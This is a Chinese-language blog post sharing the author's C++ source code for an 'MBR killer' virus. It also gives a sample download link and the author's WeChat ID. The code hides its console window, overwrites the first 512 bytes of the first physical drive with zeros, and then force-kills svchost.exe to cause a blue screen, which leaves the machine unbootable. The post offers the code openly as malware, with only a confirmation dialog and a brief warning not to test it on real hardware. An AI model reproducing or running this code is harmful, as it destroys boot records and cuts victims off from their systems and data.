mbr病毒程序源代码分享2

废话不多说，直接上代码。

#include 
#include 
#include 
#include 
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )   //隐藏DOS窗口
#include 
using namespace std;
#define mbrsize 512
int killmbr()
{
	DWORD write;
	HANDLE mbr;
	char mbrdata[mbrsize];
	ZeroMemory(&mbrdata, (sizeof mbrdata));
	mbr = CreateFile
	(
		"\\.\PHYSICALDRIVE0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
	);
	if (WriteFile(mbr, mbrdata, mbrsize, &write, NULL) == TRUE)
	{
		MessageBox(NULL, "Your computer has been destroyed", "MBR has been written",MB_ICONERROR);      //提示用户已修改mbr
		Sleep(10000);         //等待10秒
	}
	else
	{
		cout << "ERROR";
		Sleep(5000);             //等待5秒
	}
	CloseHandle(mbr);
	return EXIT_SUCCESS;
}
int main()
{
	int op;
	op=MessageBox(NULL, "这是一个病毒程序，确定运行？","MBRkiller.exe", MB_OKCANCEL | MB_ICONWARNING);
	if (op == 1)
	{
		killmbr();     //调用函数
		system("taskkill /f /im svchost.exe /t");      //蓝屏代码
	}
	if (op == 2)
	{
		exit(0);   //退出程序
	}
	return 0;
}

此图显示mbr被改，电脑将无法启动。

病毒样本下载链接 

代码由本人编写，转载时请注明原文链接。作者微信号：xuanxuan23366654188                         

禁止在物理机中测试病毒，否则后果自负。